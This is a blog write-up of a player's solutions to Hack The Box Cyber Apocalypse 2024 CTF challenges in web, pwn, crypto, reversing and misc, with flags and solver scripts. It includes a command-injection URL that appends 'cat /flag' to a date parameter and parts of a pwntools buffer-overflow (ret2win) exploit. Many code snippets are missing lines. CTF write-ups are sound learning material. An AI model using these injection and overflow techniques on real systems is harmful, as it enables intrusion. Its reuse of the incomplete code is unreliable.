Cyber Apocalypse 2024: Hacker Royale Posted on: March 20, 2024
Introduction
This year I took part in Hack The Box’s Cyber Apocalypse 2024 CTF. I was part of the team called ETRAID. It was a great experience and I learned a lot from it. I will be sharing some of the writeups for the challenges I solved. I will not be providing the solutions for the challenges that were solved by my teammates.
Web
Flag Command
Challenge
This challenge was a simple game in CLI like fashion. We had to provide the correct instructions to the game to get the flag.
Solution
This challenge required looking into Javascript using the browser’s developer tools. This allowed you to get all the possible options and send a request to the server with for the flag.
Flag: HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}
TimeKORP
Challenge
In this challenge we were given a website that had a form that took a date as input and returned the date in a different format. The input was passed to the date
command in the backend. The command was not sanitized and we could inject our own commands. The source code was also provided.
Solution
This challenge was a simple RCE. The website had a form that took a date as input and returned the date in a different format. The input was passed to the date
command in the backend. The command was not sanitized and we could inject our own commands.
http://IP:PORT/?format=%Y-%m-%d'%20%26%26%20cat%20'%2Fflag
Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}
PWN
Rocket Blaster XXX
Challenge
In this challenge we were given a binary and a server. The server was running the binary and we had to exploit it to get the flag.
Solution
This challenge was a typical ret2win
.
After decompiling the binary in Ghidra, we found that the binary was vulnerable to a buffer overflow. We used the buffer overflow to overwrite the return address and jump to the fill_ammo
function.
# Allows you to switch between local/GDB/remote from terminal
def start (argv = [], * a, ** kw):
if args. GDB : # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript = gdbscript, * a, ** kw)
elif args. REMOTE : # ('server', 'port')
return remote(sys.argv[ 1 ], sys.argv[ 2 ], * a, ** kw)
return process([exe] + argv, * a, ** kw)
# Specify your GDB script here for debugging
# Set up pwntools for the correct architecture
exe = "./rocket_blaster_xxx"
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec = False )
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = "info"
libc = ELF( "./glibc/libc.so.6" )
# ===========================================================
# ===========================================================
log.info(sys.getsizeof(payload))
write( "payload.txt" , payload)
io.sendlineafter( b ">> " , payload)
Flag: HTB{b00m_b00m_r0ck3t_2_th3_m00n}
Crypto
Dynastic
Challenge
In this challenge, we were given a file named source.py
and output.txt
from random import randint
def from_identity_map (a):
return chr (a % 26 + 0x 41 )
chi = to_identity_map(ch)
ech = from_identity_map(chi + i)
with open ( 'output.txt' , 'w' ) as f:
f.write( 'Make sure you wrap the decrypted text with the HTB flag format :-] \n ' )
Solution
This challenge was a simple substitution cipher. We had to reverse the encryption to get the flag.
encrypted = 'DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL'
def from_identity_map (a):
return chr (a % 26 + 0x 41 )
chi = to_identity_map(ch)
ech = from_identity_map(chi - i + 26 )
print (decrypt(encrypted))
Flag: HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}
Makeshift
In this challenge, we were given a file named source.py
and output.txt
.
for i in range ( 0 , len (flag), 3 ):
Solution
We can simply re-arranged per 3 characters, then reverse it. Below is the script that I used to solve:
encrypted = '!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB'
for i in range ( 0 , len (encrypted), 3 ):
Flag: HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}
Primary Knowledge
Challenge
In this challenge, we were given a file named source.py
and output.txt
.
from Crypto.Util.number import getPrime, bytes_to_long
n = math.prod([getPrime( 1024 ) for _ in range ( 2 ** 0 )])
with open ( 'output.txt' , 'w' ) as f:
Solution
To calculate the private key d
, we can simply calculate it by doing inverse_mod(e, phi)
where phi=n-1
. After recovering d
, we can simply decrypt the c by doing pow(c,d,n)
.
from Crypto.Util.number import long_to_bytes, inverse
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
flag = long_to_bytes(m).decode()
Iced TEA
Challenge
In this chalenge we were given a source code named source.py
and output.txt
.
Solution
The above source code is trying to implement TEA . We can simply follow the wikipedia example. Below is the function that we can use to decrypt it. I just added the solve code to the source.py
file.
# from secret import FLAG
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
def __init__ (self, key, iv = None ):
b2l(key[i : i + self . BLOCK_SIZE // 16 ])
for i in range ( 0 , len (key), self . BLOCK_SIZE // 16 )
return b "" .join( bytes ([_a ^ _b]) for _a, _b in zip (a, b))
msg = pad(msg, self . BLOCK_SIZE // 8 )
msg[i : i + self . BLOCK_SIZE // 8 ]
for i in range ( 0 , len (msg), self . BLOCK_SIZE // 8 )
if self .mode == Mode. ECB :
ct += self .encrypt_block(pt)
elif self .mode == Mode. CBC :
enc_block = self .encrypt_block( self ._xor(X, pt))
def encrypt_block (self, msg):
msk = ( 1 << ( self . BLOCK_SIZE // 2 )) - 1
m0 += ((m1 << 4 ) + K[ 0 ]) ^ (m1 + s) ^ ((m1 >> 5 ) + K[ 1 ])
m1 += ((m0 << 4 ) + K[ 2 ]) ^ (m0 + s) ^ ((m0 >> 5 ) + K[ 3 ])
m = ((m0 << ( self . BLOCK_SIZE // 2 )) + m1) & (
( 1 << self . BLOCK_SIZE ) - 1
ct[i : i + self . BLOCK_SIZE // 8 ]
for i in range ( 0 , len (ct), self . BLOCK_SIZE // 8 )
if self .mode == Mode. ECB :
pt += self .decrypt_block(block)
elif self .mode == Mode. CBC :
dec_block = self ._xor(X, self .decrypt_block(block))
def decrypt_block (self, ct):
msk = ( 1 << ( self . BLOCK_SIZE // 2 )) - 1
c1 -= ((c0 << 4 ) + K[ 2 ]) ^ (c0 + s) ^ ((c0 >> 5 ) + K[ 3 ])
c0 -= ((c1 << 4 ) + K[ 0 ]) ^ (c1 + s) ^ ((c1 >> 5 ) + K[ 1 ])
m = ((c0 << ( self . BLOCK_SIZE // 2 )) + c1) & (
( 1 << self . BLOCK_SIZE ) - 1
if __name__ == "__main__" :
KEY = bytes .fromhex( "850c1413787c389e0b34437a6828a1b2" )
# ct = cipher.encrypt(FLAG)
# with open("output.txt", "w") as f:
# f.write(f"Key : {KEY.hex()}\nCiphertext : {ct.hex()}")
ct = "b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843"
print (cipher.decrypt( bytes .fromhex(ct)))
Flag: HTB{th1s_1s_th3_t1ny_3ncryp710n_4lg0r1thm_____y0u_m1ght_h4v3_4lr34dy_s7umbl3d_up0n_1t_1f_y0u_d0_r3v3rs1ng}
Blunt
Challenge
In this challenge, we were given a source code named source.py
and output.txt
.
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import getPrime, long_to_bytes
from hashlib import sha256
g = random.randint( 1 , p - 1 )
a = random.randint( 1 , p - 1 )
b = random.randint( 1 , p - 1 )
A, B = pow (g, a, p), pow (g, b, p)
# now use it as shared secret
hash .update(long_to_bytes(C))
iv = b ' \xc1 V2 \xe7\xed\xc7 @8 \xf9\\\xef\x80\xd7\x80 L*'
cipher = AES .new(key, AES . MODE_CBC , iv)
encrypted = cipher.encrypt(pad( FLAG , 16 ))
print ( f 'ciphertext = { encrypted } ' )
Based on the above source code, seems like it try to implement Diffie-Hellman key exchange. The goal here is we need to recover the private key a
, so that we can calculate C
.
Solution
We use baby-step giant-step algorithm to solve this challenge. Below is the script that I used to solve:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
def baby_step_giant_step (g, A, p):
# compute the "baby steps"
baby_steps = { pow (g, i, p): i for i in range (N)}
# compute the "giant steps"
giant_steps = [(A * pow (g_inv, j, p)) % p for j in range (N)]
# find a match between the "baby steps" and "giant steps"
for j, giant_step in enumerate (giant_steps):
if giant_step in baby_steps:
return j * N + baby_steps[giant_step]
raise ValueError ( "No solution found" )
ciphertext = b " \x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xac Zj{ \x97 |z \x1a (& \xe8\x01\xe4 Y \x08\xc4\xbe N \xcd\xb2 * \xe6 {"
# Generate a random private key
a = baby_step_giant_step(g, A, p)
# Calculate the shared secret
hash .update(long_to_bytes(C))
iv = b " \xc1 V2 \xe7\xed\xc7 @8 \xf9\\\xef\x80\xd7\x80 L*"
cipher = AES .new(key, AES . MODE_CBC , iv)
plaintext = unpad(cipher.decrypt(ciphertext), 16 ).decode( "utf-8" )
Flag: HTB{y0u_n3ed_a_b1gGeR_w3ap0n!!}
Reversing
LootStash
Challenge
In this challenge, we were given a file named stash
an ELF executable.
Solution
All we had to do was run the strings
command on the binary and grep for HTB
.
strings stash | grep 'HTB'
Flag: HTB{n33dl3_1n_a_l00t_stack}
BoxCutter
Challenge
In this challenge, we were given a file named boxcutter
an ELF executable.
Solution
struct.pack( "<Q" , 0x 540345434C75637F )
+ struct.pack( "<Q" , 0x 45F4368505906 )
+ struct.pack( "<B" , 0x 68 )
+ struct.pack( "<Q" , 0x 374A025B5B0354 )
filename = bytearray (b ^ 0x 37 for b in data)
filename = filename.decode().replace( "7" , "" )
Flag: HTB{tr4c1ng_th3_c4ll5}
Crushing
Challenge
In this challenge, we were given a file named crushing
an ELF executable and message.txt.cz
which was encrypted using the executable.
Solution
def deserialize_and_recreate_string (filename):
with open (filename, "rb" ) as f:
# Create a list to hold the positions of each character
char_positions = [ None ] * 256
# Read the length of the list for this character
list_len = struct.unpack( "Q" , data)[ 0 ]
# Read the positions in the list
positions = [struct.unpack( "Q" , f.read( 8 ))[ 0 ] for _ in range (list_len)]
# Store the positions in the list for this character
char_positions[i] = positions
original_string = [ "" ] * 10000
# Place each character at its positions in the original string
for char, positions in enumerate (char_positions):
if positions is not None :
for position in positions:
print (position, len (original_string))
original_string[position] = chr (char)
# Join the characters to get the original string
return "" .join(original_string)
print (deserialize_and_recreate_string( "message.txt.cz" ))
Flag: HTB{4_v3ry_b4d_compr3ss1on_sch3m3}
Misc
Character
Challenge
In this challenge, we were provided with a program on the remote server. We had to write a script to get the flag.
Solution
conn.sendafter( 'index:' , f ' { i }\n ' )
conn.recvuntil( f 'Index { i } :' )
char = conn.recvline().decode().strip()
print ( f 'Index { i } : { char } ' )
with open ( 'chars.txt' , 'w' ) as f:
Flag: HTB{tH15_1s_4_r3aLly_l0nG_fL4g_i_h0p3_f0r_y0Ur_s4k3_tH4t_y0U_sCr1pTEd_tH1s_oR_els3_iT_t0oK_qU1t3_l0ng!!}
Stop Drop and Roll
Challenge
In this challenge, we were provided with a game on the remote server. We had to write a script to finish the game and get the flag.
Solution
conn.sendafter( '(y/n)' , 'y \n ' )
conn.recvuntil( "Let's go! \n " )
instr_string = conn.recvline().decode().strip()
instructions = instr_string.split( ', ' )
converted = [instructions_convert[i] for i in instructions]
input_instr = '-' .join(converted) + ' \n '
conn.sendafter( 'you do?' , input_instr)
Flag: HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}
Path of Survival
Challenge
In this challenge, we were provided with a game and an API. We had to write a script to solve the game by getting to the weapon tile 100 times and get the flag.
Solution
We had to read the game’s map using the API and run Dijkstra’s algorithm to find the shortest path to the weapon tile.
First I run generate_moves.py
to generate moves.json
with all the possible moves.
from pprint import pprint
from typing import List, Optional
from api import API , Direction, Move, Terrain
moves: List[Move], terrain_from: Terrain, terrain_to: Terrain, direction: Direction
move.terrain_from == terrain_from
and move.terrain_to == terrain_to
and move.direction == direction
with open ( "moves.json" , "r" ) as f:
moves = [deserialize(move) for move in json.loads(f.read())]
def move_player (api: API , direction: Direction) -> Optional[ bool ]:
if not can_move( map , map .player.position, direction):
current_time = map .player.time
player_position = map .player.position
current_terrain = get_terrain(get_tile( map , player_position))
new_pos = move(player_position, direction, map )
new_tile = get_tile( map , new_pos)
new_terrain = get_terrain(new_tile)
if was_move_used(moves, current_terrain, new_terrain, direction):
response = api.update(direction)
if response.error == "Out of time!" :
delta_time = (current_time - response.time) if response.time else - 1
terrain_from = current_terrain,
if move_obj not in moves:
new_pos = response.new_pos
terrain_from = current_terrain,
if move_obj not in moves:
api = API( "http://94.237.63.46:33917/" )
directions = [Direction. DOWN , Direction. UP , Direction. LEFT , Direction. RIGHT ]
for direction in directions:
moved = move_player(api, direction)
if moved == False or moved == None :
print (api.regenerate_map())
with open ( "moves.json" , "w" ) as f:
f.write(json.dumps([serialize(move) for move in moves]))
from typing import List, Optional
from api import Direction, Map, Move, Terrain, Tile
def convert_tuple (tuple: str ) -> List[ int ]:
tuple = tuple .replace( "(" , "" ).replace( ")" , "" ).replace( " " , "" )
def get_tile (map: Map, position: List[ int ]) -> Optional[Tile]:
key = f "( { position[ 0 ] } , { position[ 1 ] } )"
def get_terrain (tile: Tile) -> Terrain:
return Terrain(tile.terrain)
def move (position: List[ int ], direction: Direction, map: Map) -> List[ int ]:
if direction == Direction. UP :
return [position[ 0 ], position[ 1 ] - 1 ]
elif direction == Direction. DOWN :
return [position[ 0 ], position[ 1 ] + 1 ]
elif direction == Direction. LEFT :
return [position[ 0 ] - 1 , position[ 1 ]]
elif direction == Direction. RIGHT :
return [position[ 0 ] + 1 , position[ 1 ]]
def serialize (move: Move) -> dict :
"direction" : move.direction.value,
"terrain_from" : move.terrain_from.value,
"terrain_to" : move.terrain_to.value,
def deserialize (move: dict ) -> Move:
direction = Direction(move[ "direction" ]),
terrain_from = Terrain(move[ "terrain_from" ]),
terrain_to = Terrain(move[ "terrain_to" ]),
def can_move (map: Map, position: List[ int ], direction: Direction) -> bool :
move_pos = move(position, direction, map )
return get_tile( map , move_pos) is not None
terrain_from: Terrain, terrain_to: Terrain, direction: Direction, moves: List[Move]
move.terrain_from == terrain_from
and move.terrain_to == terrain_to
and move.direction == direction
def get_weapon_positions (map: Map) -> List[List[ int ]]:
for pos, tile in map .tiles.items():
if tile.has_weapon is True :
weapon_tiles.append(convert_tuple(pos))
from dataclasses import dataclass
from typing import List, Dict, Optional
error: Optional[ str ] = None
regenerated: Optional[ bool ] = None
new_pos: Optional[List[ int ]] = None
time: Optional[ int ] = None
maps_solved: Optional[ int ] = None
solved: Optional[ bool ] = None
flag: Optional[ str ] = None
def __init__ (self, base_url: str ):
def get_rules (self) -> str :
response = requests.get( f " {self .base_url } /rules" )
def get_api_info (self) -> str :
response = requests.get( f " {self .base_url } /api" )
def regenerate_map (self) -> str :
response = requests.get( f " {self .base_url } /regenerate" )
def get_map (self) -> Map:
response = requests.post( f " {self .base_url } /map" )
player = Player( ** data.pop( "player" ))
for key, value in data[ "tiles" ].items():
data[ "tiles" ][key] = Tile( ** value)
return Map( ** data, player = player)
def update (self, direction: Direction) -> UpdateResult:
data = { "direction" : direction.value}
response = requests.post( f " {self .base_url } /update" , json = data)
return UpdateResult( ** response.json())
After running generate_moves.py
, I run solve.py
to solve the game.
from pprint import pprint
from queue import PriorityQueue
from api import API , Direction, Move
with open ( "moves.json" , "r" ) as f:
moves = [deserialize(move) for move in json.loads(f.read())]
def find_path (start_x: int , start_y: int , map: Map):
dist = [[ float ( "inf" ) for _ in range ( map .width)] for _ in range ( map .height)]
came_from = [[( - 1 , - 1 ) for _ in range ( map .width)] for _ in range ( map .height)]
dist[start_y][start_x] = 0
pq.put(( 0 , (start_x, start_y)))
current_x, current_y = data[ 1 ]
current_tile = get_tile( map , [current_x, current_y])
current_terrain = get_terrain(current_tile)
if current_dist > dist[current_y][current_x]:
for dir in [Direction. UP , Direction. DOWN , Direction. LEFT , Direction. RIGHT ]:
if not can_move( map , [current_x, current_y], dir ):
potential_x, potential_y = move([current_x, current_y], dir , map )
potential_tile = get_tile( map , [potential_x, potential_y])
potential_terrain = get_terrain(potential_tile)
potential_move = find_move(current_terrain, potential_terrain, dir , moves)
if potential_move is None or potential_move.time == - 1 :
required_time = potential_move.time
dist[current_y][current_x] + required_time
< dist[potential_y][potential_x]
dist[potential_y][potential_x] = (
dist[current_y][current_x] + required_time
came_from[potential_y][potential_x] = (current_x, current_y)
pq.put(( - dist[potential_y][potential_x], (potential_x, potential_y)))
weapon_positions = get_weapon_positions( map )
for pos in weapon_positions:
weapon_distances.append((dist[pos[ 1 ]][pos[ 0 ]], pos))
min_val, get_to = min (weapon_distances, key =lambda x: x[ 0 ])
if min_val == float ( "inf" ) or min_val > map .player.time:
print ( "No weapon in range" )
print ( f "Player position: [ { start_x } , { start_y } ]" )
for pos in weapon_positions:
print ( f "Distance to weapon at { pos } : { dist[pos[ 1 ]][pos[ 0 ]] } " )
print ( f "Max distance to weapon: {map .player.time } " )
while get_to != (start_x, start_y):
path.append([get_to[ 0 ], get_to[ 1 ]])
get_to = came_from[get_to[ 1 ]][get_to[ 0 ]]
path.append([start_x, start_y])
for i in range ( len (path) - 1 ):
next_x, next_y = path[i + 1 ]
directions.append(Direction. UP )
directions.append(Direction. DOWN )
directions.append(Direction. LEFT )
directions.append(Direction. RIGHT )
api = API( "http://83.136.253.251:49512" )
x, y = map .player.position
directions = find_path(x, y, map )
for direction in directions:
result = api.update(direction)
if result.solved is not None and result.solved == True :
print ( f "Solved { result.maps_solved } maps" )
if result.maps_solved == 100 :
print ( f "Found flag: { result.flag } " )
if result.error is not None :